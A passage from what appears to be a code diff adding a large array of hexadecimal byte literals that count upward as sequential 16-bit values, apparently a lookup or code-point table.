0x87, + 0x1B, 0x88, 0x1B, 0x89, 0x1B, 0x8A, 0x1B, 0x8B, + 0x1B, 0x8C, 0x1B, 0x8D, 0x1B, 0x8E, 0x1B, 0x8F, + 0x1B, 0x90, 0x1B, 0x91, 0x1B, 0x92, 0x1B, 0x93, + 0x1B, 0x94, 0x1B, 0x95, 0x1B, 0x96, 0x1B, 0x97, + 0x1B, 0x98, 0x1B, 0x99, 0x1B, 0x9A, 0x1B, 0x9B, + 0x1B, 0x9C, 0x1B, 0x9D, 0x1B, 0x9E, 0x1B, 0x9F, + 0x1B, 0xA0, 0x1B, 0xA1, 0x1B, 0xA2, 0x1B, 0xA3, + 0x1B, 0xA4, 0x1B, 0xA5, 0x1B, 0xA6, 0x1B, 0xA7, + 0x1B, 0xA8, 0x1B, 0xA9, 0x1B, 0xAA, 0x1B, 0xAB, + 0x1B, 0xAC, 0x1B, 0xAD, 0x1B, 0xAE, 0x1B, 0xAF, + 0x1B, 0xB0, 0x1B, 0xB1, 0x1B, 0xB2, 0x1B, 0xB3, + 0x1B, 0xB4, 0x1B, 0xB5, 0x1B, 0xB6, 0x1B, 0xB7, + 0x1B, 0xB8, 0x1B, 0xB9, 0x1B, 0xBA, 0x1B, 0xBB, + 0x1B, 0xBC, 0x1B, 0xBD, 0x1B, 0xBE, 0x1B, 0xBF, + 0x1B, 0xC0, 0x1B, 0xC1, 0x1B, 0xC2, 0x1B, 0xC3, + 0x1B, 0xC4, 0x1B, 0xC5, 0x1B, 0xC6, 0x1B, 0xC7, + 0x1B, 0xC8, 0x1B, 0xC9, 0x1B, 0xCA, 0x1B, 0xCB, + 0x1B, 0xCC, 0x1B, 0xCD, 0x1B, 0xCE, 0x1B, 0xCF, + 0x1B, 0xD0, 0x1B, 0xD1, 0x1B, 0xD2, 0x1B, 0xD3, + 0x1B, 0xD4, 0x1B, 0xD5, 0x1B, 0xD6, 0x1B, 0xD7, + 0x1B, 0xD8, 0x1B, 0xD9, 0x1B, 0xDA, 0x1B, 0xDB, + 0x1B, 0xDC, 0x1B, 0xDD, 0x1B, 0xDE, 0x1B, 0xDF, + 0x1B, 0xE0, 0x1B, 0xE1, 0x1B, 0xE2, 0x1B, 0xE3, + 0x1B, 0xE4, 0x1B, 0xE5, 0x1B, 0xE6, 0x1B, 0xE7, + 0x1B, 0xE8, 0x1B, 0xE9, 0x1B, 0xEA, 0x1B, 0xEB, + 0x1B, 0xEC, 0x1B, 0xED, 0x1B, 0xEE, 0x1B, 0xEF, + 0x1B, 0xF0, 0x1B, 0xF1, 0x1B, 0xF2, 0x1B, 0xF3, + 0x1B, 0xF4, 0x1B, 0xF5, 0x1B, 0xF6, 0x1B, 0xF7, + 0x1B, 0xF8, 0x1B, 0xF9, 0x1B, 0xFA, 0x1B, 0xFB, + 0x1B, 0xFC, 0x1B, 0xFD, 0x1B, 0xFE, 0x1B, 0xFF, + 0x1C, 0x00, 0x1C, 0x01, 0x1C, 0x02, 0x1C, 0x03, + 0x1C, 0x04, 0x1C, 0x05, 0x1C, 0x06, 0x1C, 0x07, + 0x1C, 0x08, 0x1C, 0x09, 0x1C, 0x0A, 0x1C, 0x0B, + 0x1C, 0x0C, 0x1C, 0x0D, 0x1C, 0x0E, 0x1C, 0x0F, + 0x1C, 0x10, 0x1C, 0x11, 0x1C, 0x12, 0x1C, 0x13, + 0x1C, 0x14, 0x1C, 0x15, 0x1C, 0x16, 0x1C, 0x17, + 0x1C, 0x18, 0x1C, 0x19, 0x1C, 0x1A, 0x1C, 0x1B, + 0x1C, 0x1C, 0x1C, 0x1D, 0x1C, 0x1E, 0x1C, 0x1F, + 0x1C, 0x20, 0x1C, 0x21, 0x1C, 0x22, 0x1C, 0x23, + 0x1C, 0x24, 0x1C, 0x25, 0x1C, 0x26, 0x1C, 0x27, + 0x1C, 0x28, 0x1C, 0x29, 0x1C, 0x2A, 0x1C, 0x2B, + 0x1C, 0x2C, 0x1C, 0x2D, 0x1C, 0x2E, 0x1C, 0x2F, + 0x1C, 0x30, 0x1C, 0x31, 0x1C, 0x32, 0x1C, 0x33, + 0x1C, 0x34, 0x1C, 0x35, 0x1C, 0x36, 0x1C, 0x37, + 0x1C, 0x38, 0x1C, 0x39, 0x1C, 0x3A, 0x1C, 0x3B, + 0x1C, 0x3C, 0x1C, 0x3D, 0x1C, 0x3E, 0x1C, 0x3F, + 0x1C, 0x40, 0x1C, 0x41, 0x1C, 0x42, 0x1C, 0x43, + 0x1C, 0x44, 0x1C, 0x45, 0x1C, 0x46, 0x1C, 0x47, + 0x1C, 0x48, 0x1C, 0x49, 0x1C, 0x4A, 0x1C, 0x4B, + 0x1C, 0x4C, 0x1C, 0x4D, 0x1C, 0x4E, 0x1C, 0x4F, + 0x1C, 0x50, 0x1C, 0x51, 0x1C, 0x52, 0x1C, 0x53, + 0x1C, 0x54, 0x1C, 0x55, 0x1C, 0x56, 0x1C, 0x57, + 0x1C, 0x58, 0x1C, 0x59, 0x1C, 0x5A, 0x1C, 0x5B, + 0x1C, 0x5C, 0x1C, 0x5D, 0x1C, 0x5E, 0x1C, 0x5F, + 0x1C, 0x60, 0x1C, 0x61, 0x1C, 0x62, 0x1C, 0x63, + 0x1C, 0x64, 0x1C, 0x65, 0x1C, 0x66, 0x1C, 0x67, + 0x1C, 0x68, 0x1C, 0x69, 0x1C, 0x6A, 0x1C, 0x6B, + 0x1C, 0x6C, 0x1C, 0x6D, 0x1C, 0x6E, 0x1C, 0x6F, + 0x1C, 0x70, 0x1C, 0x71, 0x1C, 0x72, 0x1C, 0x73, + 0x1C, 0x74, 0x1C, 0x75, 0x1C, 0x76, 0x1C, 0x77, + 0x1C, 0x78, 0x1C, 0x79, 0x1C, 0x7A, 0x1C, 0x7B, + 0x1C, 0x7C, 0x1C, 0x7D, 0x1C, 0x7E, 0x1C, 0x7F, + 0x1C, 0x80, 0x1C, 0x81, 0x1C, 0x82, 0x1C, 0x83, + 0x1C, 0x84, 0x1C, 0x85, 0x1C, 0x86, 0x1C, 0x87, + 0x1C, 0x88, 0x1C, 0x89, 0x1C, 0x8A, 0x1C, 0x8B, + 0x1C, 0x8C, 0x1C, 0x8D, 0x1C, 0x8E, 0x1C, 0x8F, + 0x1C, 0x90, 0x1C, 0x91, 0x1C, 0x92, 0x1C, 0x93, + 0x1C, 0x94, 0x1C, 0x95, 0x1C, 0x96, 0x1C, 0x97, + 0x1C, 0x98, 0x1C, 0x99, 0x1C, 0x9A, 0x1C, 0x9B, + 0x1C, 0x9C, 0x1C, 0x9D, 0x1C, 0x9E, 0x1C, 0x9F, + 0x1C, 0xA0, 0x1C, 0xA1, 0x1C, 0xA2, 0x1C, 0xA3, + 0x1C, 0xA4, 0x1C, 0xA5, 0x1C, 0xA6, 0x1C, 0xA7, + 0x1C, 0xA8, 0x1C, 0xA9, 0x1C, 0xAA, 0x1C, 0xAB, + 0x1C, 0xAC, 0x1C, 0xAD, 0x1C, 0xAE, 0x1C, 0xAF, + 0x1C, 0xB0, 0x1C, 0xB1, 0x1C, 0xB2, 0x1C, 0xB3, + 0x1C, 0xB4, 0x1C, 0xB5, 0x1C, 0xB6, 0x1C, 0xB7, + 0x1C, 0xB8, 0x1C, 0xB9, 0x1C, 0xBA, 0x1C, 0xBB, + 0x1C, 0xBC, 0x1C, 0xBD, 0x1C, 0xBE, 0x1C, 0xBF, + 0x1C, 0xC0, 0x1C, 0xC1, 0x1C, 0xC2, 0x1C, 0xC3, + 0x1C, 0xC4, 0x1C, 0xC5, 0x1C, 0xC6, 0x1C, 0xC7, + 0x1C, 0xC8, 0x1C, 0xC9, 0x1C, 0xCA, 0x1C, 0xCB, + 0x1C, 0xCC, 0x1C, 0xCD, 0x1C, 0xCE, 0x1C, 0xCF, + 0x1C, 0xD0, 0x1C, 0xD1, 0x1C, 0xD2, 0x1C, 0xD3, + 0x1C, 0xD4, 0x1C, 0xD5, 0x1C, 0xD6, 0x1C, 0xD7, + 0x1C, 0xD8, 0x1C, 0xD9, 0x1C, 0xDA, 0x1C, 0xDB, + 0x1C, 0xDC, 0x1C, 0xDD, 0x1C, 0xDE, 0x1C, 0xDF, + 0x1C, 0xE0, 0x1C, 0xE1, 0x1C, 0xE2, 0x1C, 0xE3, + 0x1C, 0xE4, 0x1C, 0xE5, 0x1C, 0xE6, 0x1C, 0xE7, + 0x1C, 0xE8, 0x1C, 0xE9, 0x1C, 0xEA, 0x1C, 0xEB, + 0x1C, 0xEC, 0x1C, 0xED, 0x1C, 0xEE, 0x1C, 0xEF, + 0x1C, 0xF0, 0x1C, 0xF1, 0x1C, 0xF2, 0x1C, 0xF3, + 0x1C, 0xF4, 0x1C, 0xF5, 0x1C, 0xF6, 0x1C, 0xF7, + 0x1C, 0xF8, 0x1C, 0xF9, 0x1C, 0xFA, 0x1C, 0xFB, + 0x1C, 0xFC, 0x1C, 0xFD, 0x1C, 0xFE, 0x1C, 0xFF, + 0x1D, 0x00, 0x1D, 0x01, 0x1D, 0x02, 0x1D, 0x03, + 0x1D, 0x04, 0x1D, 0x05, 0x1D, 0x06, 0x1D, 0x07, + 0x1D, 0x08, 0x1D, 0x09, 0x1D, 0x0A, 0x1D, 0x0B, + 0x1D, 0x0C, 0x1D, 0x0D, 0x1D, 0x0E, 0x1D, 0x0F, + 0x1D, 0x10, 0x1D, 0x11, 0x1D, 0x12, 0x1D, 0x13, + 0x1D, 0x14, 0x1D, 0x15, 0x1D, 0x16, 0x1D, 0x17, + 0x1D, 0x18, 0x1D, 0x19, 0x1D, 0x1A, 0x1D, 0x1B, + 0x1D, 0x1C, 0x1D, 0x1D, 0x1D, 0x1E, 0x1D, 0x1F, + 0x1D, 0x20, 0x1D, 0x21, 0x1D, 0x22, 0x1D, 0x23, + 0x1D, 0x24, 0x1D, 0x25, 0x1D, 0x26, 0x1D, 0x27, + 0x1D, 0x28, 0x1D, 0x29, 0x1D, 0x2A, 0x1D, 0x2B, + 0x1D, 0x2C, 0x1D, 0x2D, 0x1D, 0x2E, 0x1D, 0x2F, + 0x1D, 0x30, 0x1D, 0x31, 0x1D, 0x32, 0x1D, 0x33, + 0x1D, 0x34, 0x1D, 0x35, 0x1D, 0x36, 0x1D, 0x37, + 0x1D, 0x38, 0x1D, 0x39, 0x1D, 0x3A, 0x1D, 0x3B, + 0x1D, 0x3C, 0x1D, 0x3D, 0x1D, 0x3E, 0x1D, 0x3F, + 0x1D, 0x40, 0x1D, 0x41, 0x1D, 0x42, 0x1D, 0x43, + 0x1D, 0x44, 0x1D, 0x45, 0x1D, 0x46, 0x1D, 0x47, + 0x1D, 0x48, 0x1D, 0x49, 0x1D, 0x4A, 0x1D, 0x4B, + 0x1D, 0x4C, 0x1D, 0x4D, 0x1D, 0x4E, 0x1D, 0x4F, + 0x1D, 0x50, 0x1D, 0x51, 0x1D, 0x52, 0x1D, 0x53, + 0x1D, 0x54, 0x1D, 0x55, 0x1D, 0x56, 0x1D, 0x57, + 0x1D, 0x58, 0x1D, 0x59, 0x1D, 0x5A, 0x1D, 0x5B, + 0x1D, 0x5C, 0x1D, 0x5D, 0x1D, 0x5E, 0x1D, 0x5F, + 0x1D, 0x60, 0x1D, 0x61, 0x1D, 0x62, 0x1D, 0x63, + 0x1D, 0x64, 0x1D, 0x65, 0x1D, 0x66, 0x1D, 0x67, + 0x1D, 0x68, 0x1D, 0x69, 0x1D, 0x6A, 0x1D, 0x6B, + 0x1D, 0x6C, 0x1D, 0x6D, 0x1D, 0x6E, 0x1D, 0x6F, + 0x1D, 0x70, 0x1D, 0x71, 0x1D, 0x72, 0x1D, 0x73, + 0x1D, 0x74, 0x1D, 0x75, 0x1D, 0x76, 0x1D, 0x77, + 0x1D, 0x78, 0x1D, 0x79, 0x1D, 0x7A, 0x1D, 0x7B, + 0x1D, 0x7C, 0x1D, 0x7D, 0x1D, 0x7E, 0x1D, 0x7F, + 0x1D, 0x80, 0x1D, 0x81, 0x1D, 0x82, 0x1D, 0x83, + 0x1D, 0x84, 0x1D, 0x85, 0x1D, 0x86, 0x1D, 0x87, + 0x1D, 0x88, 0x1D, 0x89, 0x1D, 0x8A, 0x1D, 0x8B, + 0x1D, 0x8C, 0x1D, 0x8D, 0x1D, 0x8E, 0x1D, 0x8F, + 0x1D, 0x90, 0x1D, 0x91, 0x1D, 0x92, 0x1D, 0x93, + 0x1D, 0x94, 0x1D, 0x95, 0x1D, 0x96, 0x1D, 0x97, + 0x1D, 0x98, 0x1D, 0x99, 0x1D, 0x9A, 0x1D, 0x9B, + 0x1D, 0x9C, 0x1D, 0x9D, 0x1D, 0x9E, 0x1D, 0x9F, + 0x1D, 0xA0, 0x1D, 0xA1, 0x1D, 0xA2, 0x1D, 0xA3, + 0x1D, 0xA4, 0x1D, 0xA5, 0x1D, 0xA6, 0x1D, 0xA7, + 0x1D, 0xA8, 0x1D, 0xA9, 0x1D, 0xAA, 0x1D, 0xAB, + 0x1D, 0xAC, 0x1D, 0xAD, 0x1D, 0xAE, 0x1D, 0xAF, + 0x1D, 0xB0, 0x1D, 0xB1, 0x1D, 0xB2, 0x1D, 0xB3, + 0x1D, 0xB4, 0x1D, 0xB5, 0x1D, 0xB6, 0x1D, 0xB7, + 0x1D, 0xB8, 0x1D, 0xB9, 0x1D, 0xBA, 0x1D, 0xBB, + 0x1D, 0xBC, 0x1D, 0xBD, 0x1D, 0xBE, 0x1D, 0xBF, + 0x1D, 0xC0, 0x1D, 0xC1, 0x1D, 0xC2, 0x1D, 0xC3, + 0x1D, 0xC4, 0x1D, 0xC5, 0x1D, 0xC6, 0x1D, 0xC7, + 0x1D, 0xC8, 0x1D, 0xC9, 0x1D, 0xCA, 0x1D, 0xCB, + 0x1D, 0xCC, 0x1D, 0xCD, 0x1D, 0xCE, 0x1D, 0xCF, + 0x1D, 0xD0, 0x1D, 0xD1, 0x1D, 0xD2, 0x1D, 0xD3, + 0x1D, 0xD4, 0x1D, 0xD5, 0x1D, 0xD6, 0x1D, 0xD7, + 0x1D, 0xD8, 0x1D, 0xD9, 0x1D, 0xDA, 0x1D, 0xDB, + 0x1D, 0xDC, 0x1D, 0xDD, 0x1D, 0xDE, 0x1D, 0xDF, + 0x1D, 0xE0, 0x1D, 0xE1, 0x1D, 0xE2, 0x1D, 0xE3, + 0x1D, 0xE4, 0x1D, 0xE5, 0x1D, 0xE6, 0x1D, 0xE7, + 0x1D, 0xE8, 0x1D, 0xE9, 0x1D, 0xEA, 0x1D, 0xEB, + 0x1D, 0xEC, 0x1D, 0xED, 0x1D, 0xEE, 0x1D, 0xEF, + 0x1D, 0xF0, 0x1D, 0xF1, 0x1D, 0xF2, 0x1D, 0xF3, + 0x1D, 0xF4, 0x1D, 0xF5, 0x1D, 0xF6, 0x1D, 0xF7, + 0x1D, 0xF8, 0x1D, 0xF9, 0x1D, 0xFA, 0x1D, 0xFB, + 0x1D, 0xFC, 0x1D, 0xFD, 0x1D, 0xFE, 0x1D, 0xFF, + 0x1E, 0x00, 0x1E, 0x01, 0x1E, 0x02, 0x1E, 0x03, + 0x1E, 0x04, 0x1E, 0x05, 0x1E, 0x06, 0x1E, 0x07, + 0x1E, 0x08, 0x1E, 0x09, 0x1E, 0x0A, 0x1E, 0x0B, + 0x1E, 0x0C, 0x1E, 0x0D, 0x1E, 0x0E, 0x1E, 0x0F, + 0x1E, 0x10, 0x1E, 0x11, 0x1E, 0x12, 0x1E, 0x13, + 0x1E, 0x14, 0x1E, 0x15, 0x1E, 0x16, 0x1E, 0x17, + 0x1E, 0x18, 0x1E, 0x19, 0x1E, 0x1A, 0x1E, 0x1B, + 0x1E, 0x1C, 0x1E, 0x1D, 0x1E, 0x1E, 0x1E, 0x1F, + 0x1E, 0x20, 0x1E, 0x21, 0x1E, 0x22, 0x1E, 0x23, + 0x1E, 0x24, 0x1E, 0x25, 0x1E, 0x26, 0x1E, 0x27, + 0x1E, 0x28, 0x1E, 0x29, 0x1E, 0x2A, 0x1E, 0x2B, + 0x1E, 0x2C, 0x1E, 0x2D, 0x1E, 0x2E, 0x1E, 0x2F, + 0x1E, 0x30, 0x1E, 0x31, 0x1E, 0x32, 0x1E, 0x33, + 0x1E, 0x34, 0x1E, 0x35, 0x1E, 0x36, 0x1E, 0x37, + 0x1E, 0x38, 0x1E, 0x39, 0x1E, 0x3A, 0x1E, 0x3B, + 0x1E, 0x3C, 0x1E, 0x3D, 0x1E, 0x3E, 0x1E, 0x3F, + 0x1E, 0x40, 0x1E, 0x41, 0x1E, 0x42, 0x1E, 0x43, + 0x1E, 0x44, 0x1E, 0x45, 0x1E, 0x46, 0x1E, 0x47, + 0x1E, 0x48, 0x1E, 0x49, 0x1E, 0x4A, 0x1E, 0x4B, + 0x1E, 0x4C, 0x1E, 0x4D, 0x1E, 0x4E, 0x1E, 0x4F, + 0x1E, 0x50, 0x1E, 0x51, 0x1E, 0x52, 0x1E, 0x53, + 0x1E, 0x54, 0x1E, 0x55, 0x1E, 0x56, 0x1E, 0x57, + 0x1E, 0x58, 0x1E, 0x59, 0x1E, 0x5A, 0x1E, 0x5B, + 0x1E, 0x5C, 0x1E, 0x5D, 0x1E, 0x5E, 0x1E, 0x5F, + 0x1E, 0x60, 0x1E, 0x61, 0x1E, 0x62, 0x1E, 0x63, + 0x1E, 0x64, 0x1E, 0x65, 0x1E, 0x66, 0x1E, 0x67, + 0x1E, 0x68, 0x1E, 0x69, 0x1E, 0x6A, 0x1E, 0x6B, + 0x1E, 0x6C, 0x1E, 0x6D, 0x1E, 0x6E, 0x1E, 0x6F, + 0x1E, 0x70, 0x1E, 0x71, 0x1E, 0x72, 0x1E, 0x73, + 0x1E, 0x74, 0x1E, 0x75, 0x1E, 0x76, 0x1E, 0x77, + 0x1E, 0x78, 0x1E, 0x79, 0x1E, 0x7A, 0x1E, 0x7B, + 0x1E, 0x7C, 0x1E, 0x7D, 0x1E, 0x7E, 0x1E, 0x7F, + 0x1E, 0x80, 0x1E, 0x81, 0x1E, 0x82, 0x1E, 0x83, + 0x1E, 0x84, 0x1E, 0x85, 0x1E, 0x86, 0x1E, 0x87, + 0x1E, 0x88, 0x1E, 0x89, 0x1E, 0x8A, 0x1E, 0x8B, + 0x1E, 0x8C, 0x1E, 0x8D, 0x1E, 0x8E, 0x1E, 0x8F, + 0x1E, 0x90, 0x1E, 0x91, 0x1E, 0x92, 0x1E, 0x93, + 0x1E, 0x94, 0x1E, 0x95, 0x1E, 0x96, 0x1E, 0x97, + 0x1E, 0x98, 0x1E, 0x99, 0x1E, 0x9A, 0x1E, 0x9B, + 0x1E, 0x9C, 0x1E, 0x9D, 0x1E, 0x9E, 0x1E, 0x9F, + 0x1E, 0xA0, 0x1E, 0xA1, 0x1E, 0xA2, 0x1E, 0xA3, + 0x1E, 0xA4, 0x1E, 0xA5, 0x1E, 0xA6, 0x1E, 0xA7, + 0x1E, 0xA8, 0x1E, 0xA9, 0x1E, 0xAA, 0x1E, 0xAB, + 0x1E, 0xAC, 0x1E, 0xAD, 0x1E, 0xAE, 0x1E, 0xAF, + 0x1E, 0xB0, 0x1E, 0xB1, 0x1E, 0xB2, 0x1E, 0xB3, + 0x1E, 0xB4, 0x1E, 0xB5, 0x1E, 0xB6, 0x1E, 0xB7, + 0x1E, 0xB8, 0x1E, 0xB9, 0x1E, 0xBA, 0x1E, 0xBB, + 0x1E, 0xBC, 0x1E, 0xBD, 0x1E, 0xBE, 0x1E, 0xBF, + 0x1E, 0xC0, 0x1E, 0xC1, 0x1E, 0xC2, 0x1E, 0xC3, + 0x1E, 0xC4, 0x1E, 0xC5, 0x1E, 0xC6, 0x1E, 0xC7, + 0x1E, 0xC8, 0x1E, 0xC9, 0x1E, 0xCA, 0x1E, 0xCB, + 0x1E, 0xCC, 0x1E, 0xCD, 0x1E, 0xCE, 0x1E, 0xCF, + 0x1E, 0xD0, 0x1E, 0xD1, 0x1E, 0xD2, 0x1E, 0xD3, + 0x1E, 0xD4, 0x1E, 0xD5, 0x1E, 0xD6, 0x1E, 0xD7, + 0x1E, 0xD8, 0x1E, 0xD9, 0x1E, 0xDA, 0x1E, 0xDB, + 0x1E, 0xDC, 0x1E, 0xDD, 0x1E, 0xDE, 0x1E, 0xDF, + 0x1E, 0xE0, 0x1E, 0xE1, 0x1E, 0xE2, 0x1E, 0xE3, + 0x1E, 0xE4, 0x1E, 0xE5, 0x1E, 0xE6, 0x1E, 0xE7, + 0x1E, 0xE8, 0x1E, 0xE9, 0x1E, 0xEA, 0x1E, 0xEB, + 0x1E, 0xEC, 0x1E, 0xED, 0x1E, 0xEE, 0x1E, 0xEF, + 0x1E, 0xF0, 0x1E, 0xF1, 0x1E, 0xF2, 0x1E, 0xF3, + 0x1E, 0xF4, 0x1E, 0xF5, 0x1E, 0xF6, 0x1E, 0xF7, + 0x1E, 0xF8, 0x1E, 0xF9, 0x1E, 0xFA, 0x1E, 0xFB, + 0x1E, 0xFC, 0x1E, 0xFD, 0x1E, 0xFE, 0x1E, 0xFF, + 0x1F, 0x00, 0x1F, 0x01, 0x1F, 0x02, 0x1F, 0x03, + 0x1F, 0x04, 0x1F, 0x05, 0x1F, 0x06, 0x1F, 0x07, + 0x1F, 0x08, 0x1F, 0x09, 0x1F, 0x0A, 0x1F, 0x0B, + 0x1F, 0x0C, 0x1F, 0x0D, 0x1F, 0x0E, 0x1F, 0x0F, + 0x1F, 0x10, 0x1F, 0x11, 0x1F, 0x12, 0x1F, 0x13, + 0x1F, 0x14, 0x1F, 0x15, 0x1F, 0x16, 0x1F, 0x17, + 0x1F, 0x18, 0x1F, 0x19, 0x1F, 0x1A, 0x1F, 0x1B, + 0x1F, 0x1C, 0x1F, 0x1D, 0x1F, 0x1E, 0x1F, 0x1F, + 0x1F, 0x20, 0x1F, 0x21, 0x1F, 0x22, 0x1F, 0x23, + 0x1F, 0x24, 0x1F, 0x25, 0x1F, 0x26, 0x1F, 0x27, + 0x1F, 0x28, 0x1F, 0x29, 0x1F, 0x2A, 0x1F, 0x2B, + 0x1F, 0x2C, 0x1F, 0x2D, 0x1F, 0x2E, 0x1F, 0x2F, + 0x1F, 0x30, 0x1F, 0x31, 0x1F, 0x32, 0x1F, 0x33, + 0x1F, 0x34, 0x1F, 0x35, 0x1F, 0x36, 0x1F, 0x37, + 0x1F, 0x38, 0x1F, 0x39, 0x1F, 0x3A, 0x1F, 0x3B, + 0x1F, 0x3C, 0x1F, 0x3D, 0x1F, 0x3E, 0x1F, 0x3F, + 0x1F, 0x40, 0x1F, 0x41, 0x1F, 0x42, 0x1F, 0x43, + 0x1F, 0x44, 0x1F, 0x45, 0x1F, 0x46, 0x1F, 0x47, + 0x1F, 0x48, 0x1F, 0x49, 0x1F, 0x4A, 0x1F, 0x4B, + 0x1F, 0x4C, 0x1F, 0x4D, 0x1F, 0x4E, 0x1F, 0x4F, + 0x1F, 0x50, 0x1F, 0x51, 0x1F, 0x52, 0x1F, 0x53, + 0x1F, 0x54, 0x1F, 0x55, 0x1F, 0x56, 0x1F, 0x57, + 0x1F, 0x58, 0x1F, 0x59, 0x1F, 0x5A, 0x1F, 0x5B, + 0x1F, 0x5C, 0x1F, 0x5D, 0x1F, 0x5E, 0x1F, 0x5F, + 0x1F, 0x60, 0x1F, 0x61, 0x1F, 0x62, 0x1F, 0x63, + 0x1F, 0x64, 0x1F, 0x65, 0x1F, 0x66, 0x1F, 0x67, + 0x1F, 0x68, 0x1F, 0x69, 0x1F, 0x6A, 0x1F, 0x6B, + 0x1F, 0x6C, 0x1F, 0x6D, 0x1F, 0x6E, 0x1F, 0x6F, + 0x1F, 0x70, 0x1F, 0x71, 0x1F, 0x72, 0x1F, 0x73, + 0x1F, 0x74, 0x1F, 0x75, 0x1F, 0x76, 0x1F, 0x77, + 0x1F, 0x78, 0x1F, 0x79, 0x1F, 0x7A, 0x1F, 0x7B, + 0x1F, 0x7C, 0x1F, 0x7D, 0x1F, 0x7E, 0x1F, 0x7F, + 0x1F, 0x80, 0x1F, 0x81, 0x1F, 0x82, 0x1F, 0x83, + 0x1F, 0x84, 0x1F, 0x85, 0x1F, 0x86, 0x1F, 0x87, + 0x1F, 0x88, 0x1F, 0x89, 0x1F, 0x8A, 0x1F, 0x8B, + 0x1F, 0x8C, 0x1F, 0x8D, 0x1F, 0x8E, 0x1F, 0x8F, + 0x1F, 0x90, 0x1F, 0x91, 0x1F, 0x92, 0x1F, 0x93, + 0x1F, 0x94, 0x1F, 0x95, 0x1F, 0x96, 0x1F, 0x97, + 0x1F, 0x98, 0x1F, 0x99, 0x1F, 0x9A, 0x1F, 0x9B, + 0x1F, 0x9C, 0x1F, 0x9D, 0x1F, 0x9E, 0x1F, 0x9F, + 0x1F, 0xA0, 0x1F, 0xA1, 0x1F, 0xA2, 0x1F, 0xA3, + 0x1F, 0xA4, 0x1F, 0xA5, 0x1F, 0xA6, 0x1F, 0xA7, + 0x1F, 0xA8, 0x1F, 0xA9, 0x1F, 0xAA, 0x1F, 0xAB, + 0x1F, 0xAC, 0x1F, 0xAD, 0x1F, 0xAE, 0x1F, 0xAF, + 0x1F, 0xB0, 0x1F, 0xB1, 0x1F, 0xB2, 0x1F, 0xB3, + 0x1F, 0xB4, 0x1F, 0xB5, 0x1F, 0xB6, 0x1F, 0xB7, + 0x1F, 0xB8, 0x1F, 0xB9, 0x1F, 0xBA, 0x1F, 0xBB, + 0x1F, 0xBC, 0x1F, 0xBD, 0x1F, 0xBE, 0x1F, 0xBF, + 0x1F, 0xC0, 0x1F, 0xC1, 0x1F, 0xC2, 0x1F, 0xC3, + 0x1F, 0xC4, 0x1F, 0xC5, 0x1F, 0xC6, 0x1F, 0xC7, + 0x1F, 0xC8, 0x1F, 0xC9, 0x1F, 0xCA, 0x1F, 0xCB, + 0x1F, 0xCC, 0x1F, 0xCD, 0x1F, 0xCE, 0x1F, 0xCF, + 0x1F, 0xD0, 0x1F, 0xD1, 0x1F, 0xD2, 0x1F, 0xD3, + 0x1F, 0xD4, 0x1F, 0xD5, 0x1F, 0xD6, 0x1F, 0xD7, + 0x1F, 0xD8, 0x1F, 0xD9, 0x1F, 0xDA, 0x1F, 0xDB, + 0x1F, 0xDC, 0x1F, 0xDD, 0x1F, 0xDE, 0x1F, 0xDF, + 0x1F, 0xE0, 0x1F, 0xE1, 0x1F, 0xE2, 0x1F, 0xE3, + 0x1F, 0xE4, 0x1F, 0xE5, 0x1F, 0xE6, 0x1F, 0xE7, + 0x1F, 0xE8, 0x1F, 0xE9, 0x1F, 0xEA, 0x1F, 0xEB, + 0x1F, 0xEC, 0x1F, 0xED, 0x1F, 0xEE, 0x1F, 0xEF, + 0x1F, 0xF0, 0x1F, 0xF1, 0x1F, 0xF2, 0x1F, 0xF3, + 0x1F, 0xF4, 0x1F, 0xF5, 0x1F, 0xF6, 0x1F, 0xF7, + 0x1F, 0xF8, 0x1F, 0xF9, 0x1F, 0xFA, 0x1F, 0xFB, + 0x1F, 0xFC, 0x1F, 0xFD, 0x1F, 0xFE, 0x1F, 0xFF, + 0x20, 0x00, 0x20, 0x01, 0x20, 0x02, 0x20, 0x03, + 0x20, 0x04, 0x20, 0x05, 0x20, 0x06, 0x20, 0x07, + 0x20, 0x08, 0x20, 0x09, 0x20, 0x0A, 0x20, 0x0B, + 0x20, 0x0C, 0x20, 0x0D, 0x20, 0x0E, 0x20, 0x0F, + 0x20, 0x10, 0x20, 0x11, 0x20, 0x12, 0x20, 0x13, + 0x20, 0x14, 0x20, 0x15, 0x20, 0x16, 0x20, 0x17, + 0x20, 0x18, 0x20, 0x19, 0x20, 0x1A, 0x20, 0x1B, + 0x20, 0x1C, 0x20, 0x1D, 0x20, 0x1E, 0x20, 0x1F, + 0x20, 0x20, 0x20, 0x21, 0x20, 0x22, 0x20, 0x23, + 0x20, 0x24, 0x20, 0x25, 0x20, 0x26, 0x20, 0x27, + 0x20, 0x28, 0x20, 0x29, 0x20, 0x2A, 0x20, 0x2B, + 0x20, 0x2C, 0x20, 0x2D, 0x20, 0x2E, 0x20, 0x2F, + 0x20, 0x30, 0x20, 0x31, 0x20, 0x32, 0x20, 0x33, + 0x20, 0x34, 0x20, 0x35, 0x20, 0x36, 0x20, 0x37, + 0x20, 0x38, 0x20, 0x39, 0x20, 0x3A, 0x20, 0x3B, + 0x20, 0x3C, 0x20, 0x3D, 0x20, 0x3E, 0x20, 0x3F, + 0x20, 0x40, 0x20, 0x41, 0x20, 0x42, 0x20, 0x43, + 0x20, 0x44, 0x20, 0x45, 0x20, 0x46, 0x20, 0x47, + 0x20, 0x48, 0x20, 0x49, 0x20, 0x4A, 0x20, 0x4B, + 0x20, 0x4C, 0x20, 0x4D, 0x20, 0x4E, 0x20, 0x4F, + 0x20, 0x50, 0x20, 0x51, 0x20, 0x52, 0x20, 0x53, + 0x20, 0x54, 0x20, 0x55, 0x20, 0x56, 0x20, 0x57, + 0x20, 0x58, 0x20, 0x59, 0x20, 0x5A, 0x20, 0x5B, + 0x20, 0x5C, 0x20, 0x5D, 0x20, 0x5E, 0x20, 0x5F, + 0x20, 0x60, 0x20, 0x61, 0x20, 0x62, 0x20, 0x63, + 0x20, 0x64, 0x20, 0x65, 0x20, 0x66, 0x20, 0x67, + 0x20, 0x68, 0x20, 0x69, 0x20, 0x6A, 0x20, 0x6B, + 0x20, 0x6C, 0x20, 0x6D, 0x20, 0x6E, 0x20, 0x6F, + 0x20, 0x70, 0x20, 0x71, 0x20, 0x72, 0x20, 0x73, + 0x20, 0x74, 0x20, 0x75, 0x20, 0x76, 0x20, 0x77, + 0x20, 0x78, 0x20, 0x79, 0x20, 0x7A, 0x20, 0x7B, + 0x20, 0x7C, 0x20, 0x7D, 0x20, 0x7E, 0x20, 0x7F, + 0x20, 0x80, 0x20, 0x81, 0x20, 0x82, 0x20, 